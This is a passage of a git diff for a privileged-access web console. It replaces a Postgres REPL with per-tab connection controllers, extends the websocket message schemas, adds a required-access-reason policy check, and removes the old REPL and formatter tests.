+        controller.dispose();
+        break;
+      }
 
-          case PostgresClientMessageType.Input: {
-            const replResult = await repl.processInput(message.data);
+      case PostgresClientMessageType.Cancel: {
+        const controller = controllers.get(message.connectionId);
+        if (!controller || controller.isDisposing()) {
+          logger.debug(
+            `Cancel on missing/disposing connection [sessionId=${sessionId}] [connectionId=${message.connectionId}]`
+          );
+          return;
+        }
+        controller.handleMessage(message);
+        break;
+      }
 
-            if (replResult.shouldClose) {
-              sendSessionEnd(SessionEndReason.UserQuit);
-              onCleanup();
-              socket.close();
-              return;
-            }
+      case PostgresClientMessageType.GetSchemas: {
+        queueMetadata(
+          message.id,
+          () => fetchSchemasOneShot(oneShotOpts),
+          (rows) => ({ type: PostgresServerMessageType.Schemas, id: message.id, data: rows }),
+          "Failed to fetch schemas"
+        );
+        break;
+      }
 
-            sendMessage({
-              type: TerminalServerMessageType.Output,
-              data: replResult.output,
-              prompt: replResult.prompt
-            });
-            break;
-          }
+      case PostgresClientMessageType.GetTables: {
+        queueMetadata(
+          message.id,
+          () => fetchTablesOneShot(oneShotOpts, message.schema),
+          (rows) => ({ type: PostgresServerMessageType.Tables, id: message.id, data: rows }),
+          "Failed to fetch tables"
+        );
+        break;
+      }
 
-          default:
-            break;
+      case PostgresClientMessageType.GetTableDetail:
+      case PostgresClientMessageType.Query: {
+        const controller = controllers.get(message.connectionId);
+        if (!controller || controller.isDisposing()) {
+          sendResponse({
+            type: PostgresServerMessageType.Error,
+            id: message.id,
+            connectionId: message.connectionId,
+            error: "Connection not found"
+          });
+          return;
         }
-      })
-      .catch((err) => {
-        logger.error(err, "Error processing Postgres message");
-        sendMessage({
-          type: TerminalServerMessageType.Output,
-          data: "Internal error\n",
-          prompt: "=> "
-        });
-      });
-  });
+        controller.handleMessage(message);
+        break;
+      }
 
-  // Tunnel drop detection
-  pgClient.on("error", (err) => {
-    logger.error(err, "Database connection error");
-    sendSessionEnd(resolveEndReason(isNearSessionExpiry));
-    onCleanup();
-    socket.close();
-  });
+      case PostgresClientMessageType.Activity: {
+        // No-op. The idle timer is reset by the sibling socket.on("message")
+        // listener in pam-web-access-service.ts — this branch just keeps the
+        // discriminated-union exhaustive so the `default` arm stays unreachable.
+        break;
+      }
 
-  pgClient.on("end", () => {
-    sendSessionEnd(resolveEndReason(isNearSessionExpiry));
-    onCleanup();
-    socket.close();
+      default:
+        break;
+    }
   });
 
   return {
     cleanup: async () => {
-      try {
-        await pgClient.end();
-      } catch (err) {
-        logger.debug(err, "Error closing pg client");
+      // dispose() is synchronous and fire-and-forget — no await needed.
+      const snapshot = Array.from(controllers.values());
+      controllers.clear();
+      for (const controller of snapshot) {
+        try {
+          controller.dispose();
+        } catch (err) {
+          logger.debug(err, `Error disposing controller [sessionId=${sessionId}]`);
+        }
       }
     }
   };
diff --git a/backend/src/ee/services/pam-web-access/pam-postgres-ws-types.ts b/backend/src/ee/services/pam-web-access/pam-postgres-ws-types.ts
index bda4395a9e0..3877d8bbc17 100644
--- a/backend/src/ee/services/pam-web-access/pam-postgres-ws-types.ts
+++ b/backend/src/ee/services/pam-web-access/pam-postgres-ws-types.ts
@@ -1,40 +1,40 @@
 import { z } from "zod";
 
-import { SessionEndReason } from "./pam-web-access-types";
-
 export enum PostgresClientMessageType {
-  Input = "input",
   Control = "control",
   GetSchemas = "get-schemas",
   GetTables = "get-tables",
   GetTableDetail = "get-table-detail",
   Query = "query",
-  Cancel = "cancel"
+  Cancel = "cancel",
+  OpenConnection = "open-connection",
+  CloseConnection = "close-connection",
+  Activity = "activity"
 }
 
 export enum PostgresServerMessageType {
-  Ready = "ready",
-  Output = "output",
-  SessionEnd = "session_end",
   Schemas = "schemas",
   Tables = "tables",
   TableDetail = "table-detail",
   QueryResult = "query-result",
-  Error = "error"
+  Error = "error",
+  ConnectionOpened = "connection-opened",
+  ConnectionOpenFailed = "connection-open-failed",
+  ConnectionClosed = "connection-closed"
 }
 
-// --- Shared base for correlated request/response messages ---
+// --- Shared bases ---
 
 const CorrelatedBaseSchema = z.object({ id: z.string().uuid() });
+const TabScopedBaseSchema = CorrelatedBaseSchema.extend({ connectionId: z.string().uuid() });
 
 // =====================================================================
 // Client messages (client → server) — single flat discriminated union
 // =====================================================================
 
-const InputSchema = z.object({ type: z.literal(PostgresClientMessageType.Input), data: z.string() });
-
 const ControlSchema = z.object({ type: z.literal(PostgresClientMessageType.Control), data: z.string() });
 
+// Metadata messages — not connectionId-scoped; served by one-shot pg.Clients.
 const GetSchemasRequestSchema = CorrelatedBaseSchema.extend({
   type: z.literal(PostgresClientMessageType.GetSchemas)
 });
@@ -44,46 +44,61 @@ const GetTablesRequestSchema = CorrelatedBaseSchema.extend({
   schema: z.string()
 });
 
-const GetTableDetailRequestSchema = CorrelatedBaseSchema.extend({
+// Tab-scoped messages — carry connectionId; routed to a specific controller.
+const GetTableDetailRequestSchema = TabScopedBaseSchema.extend({
   type: z.literal(PostgresClientMessageType.GetTableDetail),
   schema: z.string(),
   table: z.string()
 });
 
-const QueryRequestSchema = CorrelatedBaseSchema.extend({
+const QueryRequestSchema = TabScopedBaseSchema.extend({
   type: z.literal(PostgresClientMessageType.Query),
   sql: z.string().max(50 * 1024)
 });
 
-const CancelSchema = z.object({ type: z.literal(PostgresClientMessageType.Cancel) });
+// Cancel stays fire-and-forget; gains connectionId for routing but not id.
+const CancelSchema = z.object({
+  type: z.literal(PostgresClientMessageType.Cancel),
+  connectionId: z.string().uuid()
+});
+
+// Lifecycle — open/close tab controllers.
+const OpenConnectionSchema = CorrelatedBaseSchema.extend({
+  type: z.literal(PostgresClientMessageType.OpenConnection)
+});
+
+const CloseConnectionSchema = z.object({
+  type: z.literal(PostgresClientMessageType.CloseConnection),
+  connectionId: z.string().uuid()
+});
+
+// Fire-and-forget heartbeat sent by the FE while the browser tab is visible, so
+// the server-side idle timer only fires on truly inactive tabs — not on active
+// read-only sessions that don't happen to send queries.
+const ActivitySchema = z.object({
+  type: z.literal(PostgresClientMessageType.Activity)
+});
 
 export const PostgresClientMessageSchema = z.discriminatedUnion("type", [
-  InputSchema,
   ControlSchema,
   GetSchemasRequestSchema,
   GetTablesRequestSchema,
   GetTableDetailRequestSchema,
   QueryRequestSchema,
-  CancelSchema
+  CancelSchema,
+  OpenConnectionSchema,
+  CloseConnectionSchema,
+  ActivitySchema
 ]);
 
 export type TPostgresClientMessage = z.infer<typeof PostgresClientMessageSchema>;
 
 // =====================================================================
-// Server messages (server → client) — single flat discriminated union
+// Server messages (server → client) — correlated request/response schemas.
+// Lifecycle messages (ready / session_end) travel on the shared
+// TerminalServerMessageType channel defined in pam-web-access-types.ts.
 // =====================================================================
 
-const OutputSchema = z.object({
-  type: z.enum([PostgresServerMessageType.Ready, PostgresServerMessageType.Output]),
-  data: z.string(),
-  prompt: z.string().default("")
-});
-
-const SessionEndSchema = z.object({
-  type: z.literal(PostgresServerMessageType.SessionEnd),
-  reason: z.nativeEnum(SessionEndReason)
-});
-
 const SchemasResponseSchema = CorrelatedBaseSchema.extend({
   type: z.literal(PostgresServerMessageType.Schemas),
   data: z.array(z.object({ name: z.string() }))
@@ -94,8 +109,9 @@ const TablesResponseSchema = CorrelatedBaseSchema.extend({
   data: z.array(z.object({ name: z.string(), tableType: z.string() }))
 });
 
-const TableDetailResponseSchema = CorrelatedBaseSchema.extend({
+const TableDetailResponseSchema = TabScopedBaseSchema.extend({
   type: z.literal(PostgresServerMessageType.TableDetail),
+  transactionOpen: z.boolean(),
   data: z.object({
     columns: z.array(
       z.object({
@@ -128,7 +144,7 @@ const TableDetailResponseSchema = CorrelatedBaseSchema.extend({
   })
 });
 
-const QueryResultResponseSchema = CorrelatedBaseSchema.extend({
+const QueryResultResponseSchema = TabScopedBaseSchema.extend({
   type: z.literal(PostgresServerMessageType.QueryResult),
   rows: z.array(z.record(z.string(), z.unknown())),
   fields: z.array(
@@ -145,28 +161,45 @@ const QueryResultResponseSchema = CorrelatedBaseSchema.extend({
   executionTimeMs: z.number()
 });
 
+// Error responses carry transactionOpen for tab-scoped errors so the FE banner
+// stays in sync after auto-rollback. connectionId is optional because errors
+// can come from metadata requests (no connectionId) or unknown-connectionId
+// cases tied to a request id.
 const ErrorResponseSchema = CorrelatedBaseSchema.extend({
   type: z.literal(PostgresServerMessageType.Error),
+  connectionId: z.string().uuid().optional(),
+  transactionOpen: z.boolean().optional(),
   error: z.string(),
   detail: z.string().optional(),
   hint: z.string().optional()
 });
 
-export const PostgresServerMessageSchema = z.discriminatedUnion("type", [
-  OutputSchema,
-  SessionEndSchema,
-  SchemasResponseSchema,
-  TablesResponseSchema,
-  TableDetailResponseSchema,
-  QueryResultResponseSchema,
-  ErrorResponseSchema
-]);
+// Lifecycle responses.
+const ConnectionOpenedResponseSchema = CorrelatedBaseSchema.extend({
+  type: z.literal(PostgresServerMessageType.ConnectionOpened),
+  connectionId: z.string().uuid(),
+  backendPid: z.number().nullable()
+});
+
+const ConnectionOpenFailedResponseSchema = CorrelatedBaseSchema.extend({
+  type: z.literal(PostgresServerMessageType.ConnectionOpenFailed),
+  error: z.string()
+});
+
+// Informational — BE pushes this when a controller dies outside clean dispose.
+const ConnectionClosedResponseSchema = z.object({
+  type: z.literal(PostgresServerMessageType.ConnectionClosed),
+  connectionId: z.string().uuid(),
+  reason: z.string()
+});
 
-// Correlated server messages only (excludes lifecycle messages like ready/output/session_end)
 export type TPostgresCorrelatedServerMessage = z.infer<
   | typeof SchemasResponseSchema
   | typeof TablesResponseSchema
   | typeof TableDetailResponseSchema
   | typeof QueryResultResponseSchema
   | typeof ErrorResponseSchema
+  | typeof ConnectionOpenedResponseSchema
+  | typeof ConnectionOpenFailedResponseSchema
+  | typeof ConnectionClosedResponseSchema
 >;
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-repl.test.ts b/backend/src/ee/services/pam-web-access/pam-web-access-repl.test.ts
deleted file mode 100644
index a8e6a156942..00000000000
--- a/backend/src/ee/services/pam-web-access/pam-web-access-repl.test.ts
+++ /dev/null
@@ -1,238 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-import { createPamSqlRepl, TQueryExecutor } from "./pam-web-access-repl";
-
-describe("createPamSqlRepl", () => {
-  let queryFn: ReturnType<typeof vi.fn>;
-  let mockExecutor: TQueryExecutor;
-  let repl: ReturnType<typeof createPamSqlRepl>;
-
-  beforeEach(() => {
-    queryFn = vi.fn().mockResolvedValue({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "?column?", dataTypeID: 23 }],
-      rows: [{ "?column?": 1 }]
-    });
-    mockExecutor = { query: queryFn };
-    repl = createPamSqlRepl(mockExecutor);
-  });
-
-  // Statement execution
-  it("executes complete statement", async () => {
-    const result = await repl.processInput("SELECT 1;");
-    expect(queryFn).toHaveBeenCalledWith("SELECT 1");
-    expect(result.output).toContain("1");
-    expect(result.prompt).toBe("=> ");
-    expect(result.shouldClose).toBe(false);
-  });
-
-  it("buffers incomplete input", async () => {
-    const result = await repl.processInput("SELECT *");
-    expect(queryFn).not.toHaveBeenCalled();
-    expect(result.output).toBe("");
-    expect(result.prompt).toBe("-> ");
-    expect(result.shouldClose).toBe(false);
-  });
-
-  it("executes after completing buffered statement", async () => {
-    await repl.processInput("SELECT *");
-    expect(queryFn).not.toHaveBeenCalled();
-
-    const result = await repl.processInput("FROM users;");
-    expect(queryFn).toHaveBeenCalledWith("SELECT *\nFROM users");
-    expect(result.prompt).toBe("=> ");
-  });
-
-  it("executes multiple statements sequentially", async () => {
-    queryFn
-      .mockResolvedValueOnce({
-        command: "SELECT",
-        rowCount: 1,
-        fields: [{ name: "?column?", dataTypeID: 23 }],
-        rows: [{ "?column?": 1 }]
-      })
-      .mockResolvedValueOnce({
-        command: "SELECT",
-        rowCount: 1,
-        fields: [{ name: "?column?", dataTypeID: 23 }],
-        rows: [{ "?column?": 2 }]
-      });
-
-    const result = await repl.processInput("SELECT 1; SELECT 2;");
-    expect(queryFn).toHaveBeenCalledTimes(2);
-    expect(queryFn).toHaveBeenCalledWith("SELECT 1");
-    expect(queryFn).toHaveBeenCalledWith("SELECT 2");
-    expect(result.prompt).toBe("=> ");
-  });
-
-  // Quit
-  it("returns shouldClose for \\q", async () => {
-    const result = await repl.processInput("\\q");
-    expect(result.shouldClose).toBe(true);
-    expect(result.output).toBe("Goodbye!\n");
-    expect(queryFn).not.toHaveBeenCalled();
-  });
-
-  it("returns shouldClose for quit", async () => {
-    const result = await repl.processInput("quit");
-    expect(result.shouldClose).toBe(true);
-  });
-
-  it("returns shouldClose for exit", async () => {
-    const result = await repl.processInput("exit");
-    expect(result.shouldClose).toBe(true);
-  });
-
-  it("treats quit as SQL when buffer non-empty", async () => {
-    await repl.processInput("SELECT");
-    const result = await repl.processInput("quit;");
-    expect(result.shouldClose).toBe(false);
-    expect(queryFn).toHaveBeenCalledWith("SELECT\nquit");
-  });
-
-  // Buffer management
-  it("clearBuffer resets to empty", async () => {
-    await repl.processInput("SELECT *");
-    expect(repl.getPrompt()).toBe("-> ");
-
-    repl.clearBuffer();
-    expect(repl.getPrompt()).toBe("=> ");
-  });
-
-  it("getPrompt returns => when buffer empty", () => {
-    expect(repl.getPrompt()).toBe("=> ");
-  });
-
-  it("getPrompt returns -> when buffer has content", async () => {
-    await repl.processInput("SELECT *");
-    expect(repl.getPrompt()).toBe("-> ");
-  });
-
-  // Error handling
-  it("catches query error and returns formatted error", async () => {
-    queryFn.mockRejectedValueOnce({
-      message: 'relation "nonexistent" does not exist'
-    });
-
-    const result = await repl.processInput("SELECT * FROM nonexistent;");
-    expect(result.output).toContain("ERROR:");
-    expect(result.output).toContain("nonexistent");
-    expect(result.shouldClose).toBe(false);
-    expect(result.prompt).toBe("=> ");
-  });
-
-  it("continues working after error", async () => {
-    queryFn.mockRejectedValueOnce({ message: "error" }).mockResolvedValueOnce({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "?column?", dataTypeID: 23 }],
-      rows: [{ "?column?": 1 }]
-    });
-
-    await repl.processInput("BAD SQL;");
-    const result = await repl.processInput("SELECT 1;");
-    expect(result.output).toContain("1");
-    expect(result.prompt).toBe("=> ");
-  });
-
-  // Empty input
-  it("re-prompts on empty input with empty buffer", async () => {
-    const result = await repl.processInput("");
-    expect(queryFn).not.toHaveBeenCalled();
-    expect(result.prompt).toBe("=> ");
-  });
-
-  it("skips empty statements (bare ;)", async () => {
-    const result = await repl.processInput(";");
-    expect(queryFn).not.toHaveBeenCalled();
-    expect(result.prompt).toBe("=> ");
-  });
-
-  it("handles mixed complete + incomplete on one input", async () => {
-    queryFn.mockResolvedValueOnce({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "?column?", dataTypeID: 23 }],
-      rows: [{ "?column?": 1 }]
-    });
-
-    const result = await repl.processInput("SELECT 1; SELECT");
-    expect(queryFn).toHaveBeenCalledTimes(1);
-    expect(queryFn).toHaveBeenCalledWith("SELECT 1");
-    expect(result.prompt).toBe("-> ");
-
-    // Complete the second statement
-    queryFn.mockResolvedValueOnce({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "?column?", dataTypeID: 23 }],
-      rows: [{ "?column?": 2 }]
-    });
-
-    const result2 = await repl.processInput("2;");
-    expect(queryFn).toHaveBeenCalledTimes(2);
-    expect(result2.prompt).toBe("=> ");
-  });
-
-  it("DML result formatting", async () => {
-    queryFn.mockResolvedValueOnce({
-      command: "INSERT",
-      rowCount: 1,
-      fields: [],
-      rows: []
-    });
-
-    const result = await repl.processInput("INSERT INTO t VALUES(1);");
-    expect(result.output).toBe("INSERT 0 1\n");
-  });
-
-  it("returns error and clears buffer when input exceeds 1 MB limit", async () => {
-    const oversized = "A".repeat(1024 * 1024 + 1);
-    const result = await repl.processInput(oversized);
-    expect(result.output).toContain("buffer size exceeded");
-    expect(result.prompt).toBe("=> ");
-    expect(result.shouldClose).toBe(false);
-    expect(queryFn).not.toHaveBeenCalled();
-
-    // REPL should still work after buffer was cleared
-    queryFn.mockResolvedValueOnce({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "?column?", dataTypeID: 23 }],
-      rows: [{ "?column?": 1 }]
-    });
-    const next = await repl.processInput("SELECT 1;");
-    expect(next.output).toContain("1");
-    expect(next.prompt).toBe("=> ");
-  });
-
-  it("multi-statement paste", async () => {
-    queryFn
-      .mockResolvedValueOnce({
-        command: "CREATE TABLE",
-        rowCount: null,
-        fields: [],
-        rows: []
-      })
-      .mockResolvedValueOnce({
-        command: "INSERT",
-        rowCount: 1,
-        fields: [],
-        rows: []
-      })
-      .mockResolvedValueOnce({
-        command: "SELECT",
-        rowCount: 1,
-        fields: [{ name: "id", dataTypeID: 23 }],
-        rows: [{ id: 1 }]
-      });
-
-    const result = await repl.processInput("CREATE TABLE t(id int); INSERT INTO t VALUES(1); SELECT * FROM t;");
-    expect(queryFn).toHaveBeenCalledTimes(3);
-    expect(result.output).toContain("CREATE TABLE");
-    expect(result.output).toContain("INSERT 0 1");
-    expect(result.output).toContain("(1 row)");
-    expect(result.prompt).toBe("=> ");
-  });
-});
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-repl.ts b/backend/src/ee/services/pam-web-access/pam-web-access-repl.ts
deleted file mode 100644
index 47c5bfb9651..00000000000
--- a/backend/src/ee/services/pam-web-access/pam-web-access-repl.ts
+++ /dev/null
@@ -1,93 +0,0 @@
-import { formatCommandResult, formatError, formatTable } from "./pam-web-access-sql-formatter";
-import { splitStatements } from "./pam-web-access-sql-lexer";
-
-/**
- * The REPL only depends on this interface, not on pg.Client directly.
- * pg.Client satisfies this interface out of the box.
- */
-export type TQueryExecutor = {
-  query(sql: string): Promise<{
-    command: string;
-    rowCount: number | null;
-    fields: Array<{ name: string; dataTypeID: number }>;
-    rows: Record<string, unknown>[];
-  }>;
-};
-
-export type TPamSqlRepl = ReturnType<typeof createPamSqlRepl>;
-
-const MAX_BUFFER_SIZE = 1024 * 1024; // 1 MB
-
-export const createPamSqlRepl = (queryExecutor: TQueryExecutor) => {
-  let buffer = "";
-
-  const executeStatement = async (sql: string): Promise<string> => {
-    try {
-      const result = await queryExecutor.query(sql);
-
-      if (result.fields?.length > 0) {
-        return formatTable(result);
-      }
-      return formatCommandResult(result);
-    } catch (err) {
-      return formatError(err);
-    }
-  };
-
-  const processInput = async (
-    rawInput: string
-  ): Promise<{
-    output: string;
-    prompt: string;
-    shouldClose: boolean;
-  }> => {
-    // Check for quit commands when buffer is empty
-    if (buffer.trim().length === 0) {
-      const trimmed = rawInput.trim();
-      if (trimmed === "\\q" || trimmed === "quit" || trimmed === "exit") {
-        return { output: "Goodbye!\n", prompt: "", shouldClose: true };
-      }
-    }
-
-    // Append input to buffer
-    if (buffer.length > 0) {
-      buffer += `\n${rawInput}`;
-    } else {
-      buffer = rawInput;
-    }
-
-    if (buffer.length > MAX_BUFFER_SIZE) {
-      buffer = "";
-      return {
-        output: "ERROR: buffer size exceeded (1 MB limit). Buffer cleared.\n",
-        prompt: "=> ",
-        shouldClose: false
-      };
-    }
-
-    // Split into complete and incomplete statements
-    const { complete, remainder } = splitStatements(buffer);
-    buffer = remainder;
-
-    // Execute each complete statement
-    let output = "";
-    for (const stmt of complete) {
-      const trimmed = stmt.trim();
-      if (trimmed.length > 0) {
-        // eslint-disable-next-line no-await-in-loop
-        output += await executeStatement(trimmed);
-      }
-    }
-
-    const prompt = buffer.trim().length > 0 ? "-> " : "=> ";
-    return { output, prompt, shouldClose: false };
-  };
-
-  const clearBuffer = () => {
-    buffer = "";
-  };
-
-  const getPrompt = () => (buffer.trim().length > 0 ? "-> " : "=> ");
-
-  return { processInput, clearBuffer, getPrompt };
-};
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-service.ts b/backend/src/ee/services/pam-web-access/pam-web-access-service.ts
index 2b8d7476744..f3602979027 100644
--- a/backend/src/ee/services/pam-web-access/pam-web-access-service.ts
+++ b/backend/src/ee/services/pam-web-access/pam-web-access-service.ts
@@ -16,6 +16,8 @@ import { BadRequestError, NotFoundError, PolicyViolationError } from "@app/lib/e
 import { GatewayProxyProtocol } from "@app/lib/gateway/types";
 import { createGatewayConnection, createRelayConnection, setupRelayServer } from "@app/lib/gateway-v2/gateway-v2";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TApprovalPolicyDALFactory } from "@app/services/approval-policy/approval-policy-dal";
 import { ApprovalPolicyType } from "@app/services/approval-policy/approval-policy-enums";
 import { APPROVAL_POLICY_FACTORY_MAP } from "@app/services/approval-policy/approval-policy-factory";
@@ -33,6 +35,9 @@ import { TUserDALFactory } from "@app/services/user/user-dal";
 
 import { TPamAccountDALFactory } from "../pam-account/pam-account-dal";
 import { decryptAccountCredentials } from "../pam-account/pam-account-fns";
+import { TPamAccountPolicyDALFactory } from "../pam-account-policy/pam-account-policy-dal";
+import { PamAccountPolicyRuleType } from "../pam-account-policy/pam-account-policy-enums";
+import { TPolicyRules } from "../pam-account-policy/pam-account-policy-types";
 import { TPamResourceDALFactory } from "../pam-resource/pam-resource-dal";
 import { decryptResourceConnectionDetails } from "../pam-resource/pam-resource-fns";
 import {
@@ -64,6 +69,7 @@ const SUPPORTED_WEB_ACCESS_RESOURCES = [PamResource.Postgres, PamResource.SSH, P
 
 type TPamWebAccessServiceFactoryDep = {
   pamAccountDAL: Pick<TPamAccountDALFactory, "findById" | "findMetadataByAccountIds">;
+  pamAccountPolicyDAL: Pick<TPamAccountPolicyDALFactory, "findById">;
   pamResourceDAL: Pick<TPamResourceDALFactory, "findById">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
   auditLogService: Pick<TAuditLogServiceFactory, "createAuditLog">;
@@ -98,9 +104,11 @@ type THandleWebSocketConnectionDTO = {
   actorName: string;
   actorIp: string;
   actorUserAgent: string;
+  reason?: string | null;
 };
 export const pamWebAccessServiceFactory = ({
   pamAccountDAL,
+  pamAccountPolicyDAL,
   pamResourceDAL,
   permissionService,
   auditLogService,
@@ -160,7 +168,8 @@ export const pamWebAccessServiceFactory = ({
     actorEmail,
     actorName,
     auditLogInfo,
-    mfaSessionId
+    mfaSessionId,
+    reason
   }: TIssueWebSocketTicketDTO) => {
     const account = await pamAccountDAL.findById(accountId);
 
@@ -172,6 +181,12 @@ export const pamWebAccessServiceFactory = ({
       throw new NotFoundError({ message: `Account with ID '${accountId}' not found` });
     }
 
+    const trimmedReason = reason?.trim() || null;
+
+    if (!account.resourceId) {
+      throw new BadRequestError({ message: "Web access is only available for resource-backed accounts" });
+    }
+
     const resource = await pamResourceDAL.findById(account.resourceId);
 
     if (!resource) {
@@ -237,15 +252,32 @@ export const pamWebAccessServiceFactory = ({
       );
     }
 
+    // Reason check is intentionally placed after the approval/permission gates so
+    // its distinct error code does not leak policy configuration to unauthorized actors.
+    if (account.policyId) {
+      const policy = await pamAccountPolicyDAL.findById(account.policyId);
+      const policyRules = (policy?.rules ?? {}) as TPolicyRules;
+      if (policy?.isActive && policyRules[PamAccountPolicyRuleType.RequireReason] && !trimmedReason) {
+        throw new BadRequestError({
+          message: "A reason is required to access this account",
+          name: "PAM_REASON_REQUIRED"
+        });
+      }
+    }
+
     // MFA check
     if (account.requireMfa && !mfaSessionId) {
-      const project = await projectDAL.findById(account.projectId);
+      const project = await requestMemoize(requestMemoKeys.projectFindById(account.projectId), () =>
+        projectDAL.findById(account.projectId)
+      );
       if (!project) throw new NotFoundError({ message: `Project with ID '${account.projectId}' not found` });
 
       const actorUser = await userDAL.findById(actor.id);
       if (!actorUser) throw new NotFoundError({ message: `User with ID '${actor.id}' not found` });
 
-      const org = await orgDAL.findOrgById(project.orgId);
+      const org = await requestMemoize(requestMemoKeys.orgFindOrgById(project.orgId), () =>
+        orgDAL.findOrgById(project.orgId)
+      );
       if (!org) throw new NotFoundError({ message: `Organization with ID '${project.orgId}' not found` });
 
       // Determine which MFA method to use
@@ -295,7 +327,8 @@ export const pamWebAccessServiceFactory = ({
         accountName: account.name,
         actorEmail,
         actorName,
-        auditLogInfo
+        auditLogInfo,
+        reason: trimmedReason
       })
     });
 
@@ -328,7 +361,8 @@ export const pamWebAccessServiceFactory = ({
     actorEmail,
     actorName,
     actorIp,
-    actorUserAgent
+    actorUserAgent,
+    reason: accessReason
   }: THandleWebSocketConnectionDTO): Promise<void> => {
     let session: { id: string } | null = null;
     let cleanedUp = false;
@@ -420,6 +454,10 @@ export const pamWebAccessServiceFactory = ({
         throw new BadRequestError({ message: "Invalid account or project" });
       }
 
+      if (!account.resourceId) {
+        throw new BadRequestError({ message: "Web access is only available for resource-backed accounts" });
+      }
+
       const resource = await pamResourceDAL.findById(account.resourceId);
       if (!resource) {
         throw new BadRequestError({ message: "Resource not found" });
@@ -476,7 +514,8 @@ export const pamWebAccessServiceFactory = ({
         resourceType: resource.resourceType,
         accountId: account.id,
         resourceId: resource.id,
-        userId
+        userId,
+        reason: accessReason?.trim() || null
       });
 
       await pamSessionExpirationService.scheduleSessionExpiration(session.id, expiresAt);
@@ -578,7 +617,8 @@ export const pamWebAccessServiceFactory = ({
             accountId,
             resourceName,
             accountName,
-            duration: expiresAt.toISOString()
+            duration: expiresAt.toISOString(),
+            reason: accessReason ?? undefined
           }
         }
       });
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-sql-formatter.test.ts b/backend/src/ee/services/pam-web-access/pam-web-access-sql-formatter.test.ts
deleted file mode 100644
index 09e3d72d122..00000000000
--- a/backend/src/ee/services/pam-web-access/pam-web-access-sql-formatter.test.ts
+++ /dev/null
@@ -1,247 +0,0 @@
-import { builtins } from "pg-types";
-import { describe, expect, it } from "vitest";
-
-import { formatCommandResult, formatError, formatTable } from "./pam-web-access-sql-formatter";
-
-describe("formatTable", () => {
-  it("formats a simple two-column result", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 2,
-      fields: [
-        { name: "id", dataTypeID: builtins.INT4 },
-        { name: "name", dataTypeID: builtins.TEXT }
-      ],
-      rows: [
-        { id: 1, name: "Alice" },
-        { id: 2, name: "Bob" }
-      ]
-    });
-
-    expect(result).toContain("id");
-    expect(result).toContain("name");
-    expect(result).toContain("Alice");
-    expect(result).toContain("Bob");
-    expect(result).toContain("(2 rows)");
-    expect(result).toContain("+");
-    expect(result).toContain("-");
-  });
-
-  it("right-aligns numeric columns", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 2,
-      fields: [{ name: "num", dataTypeID: builtins.INT4 }],
-      rows: [{ num: 1 }, { num: 100 }]
-    });
-
-    const lines = result.split("\n");
-    // Data rows should have right-aligned numbers
-    const dataLine1 = lines[2]; // first data row
-    const dataLine2 = lines[3]; // second data row
-    // "1" should be padded to width of "100"
-    expect(dataLine1).toContain("  1");
-    expect(dataLine2).toContain("100");
-  });
-
-  it("handles NULL values as empty strings", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [
-        { name: "id", dataTypeID: builtins.INT4 },
-        { name: "name", dataTypeID: builtins.TEXT }
-      ],
-      rows: [{ id: 1, name: null }]
-    });
-
-    expect(result).toContain("(1 row)");
-  });
-
-  it("zero rows with fields", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 0,
-      fields: [
-        { name: "id", dataTypeID: builtins.INT4 },
-        { name: "name", dataTypeID: builtins.TEXT }
-      ],
-      rows: []
-    });
-
-    expect(result).toContain("id");
-    expect(result).toContain("name");
-    expect(result).toContain("(0 rows)");
-  });
-
-  it("single row uses singular footer", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "val", dataTypeID: builtins.INT4 }],
-      rows: [{ val: 42 }]
-    });
-
-    expect(result).toContain("(1 row)");
-    expect(result).not.toContain("(1 rows)");
-  });
-
-  it("column width matches longest value", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "x", dataTypeID: builtins.TEXT }],
-      rows: [{ x: "longvalue" }]
-    });
-
-    // The separator should be at least as wide as "longvalue"
-    const lines = result.split("\n");
-    const separator = lines[1];
-    // "longvalue" is 9 chars, column should be at least 9 + 2 (padding) = 11
-    expect(separator.length).toBeGreaterThanOrEqual(11);
-  });
-
-  it("formats Date values as ISO-like timestamps", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "created_at", dataTypeID: builtins.TIMESTAMPTZ }],
-      rows: [{ created_at: new Date("2026-02-05T19:04:52.000Z") }]
-    });
-
-    expect(result).toContain("2026-02-05 19:04:52");
-    expect(result).not.toContain("GMT");
-    expect(result).not.toContain("Coordinated Universal Time");
-  });
-
-  it("formats raw string timestamps as-is", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "ts", dataTypeID: builtins.TIMESTAMPTZ }],
-      rows: [{ ts: "2026-02-05 19:04:52+00" }]
-    });
-
-    expect(result).toContain("2026-02-05 19:04:52+00");
-  });
-
-  it("formats Buffer values as hex", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "data", dataTypeID: builtins.BYTEA }],
-      rows: [{ data: Buffer.from([0xde, 0xad, 0xbe, 0xef]) }]
-    });
-
-    expect(result).toContain("\\xdeadbeef");
-  });
-
-  it("formats Array values with braces", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 1,
-      fields: [{ name: "tags", dataTypeID: 1009 }],
-      rows: [{ tags: ["a", "b", "c"] }]
-    });
-
-    expect(result).toContain("{a,b,c}");
-  });
-
-  it("returns empty string for no fields", () => {
-    const result = formatTable({
-      command: "SELECT",
-      rowCount: 0,
-      fields: [],
-      rows: []
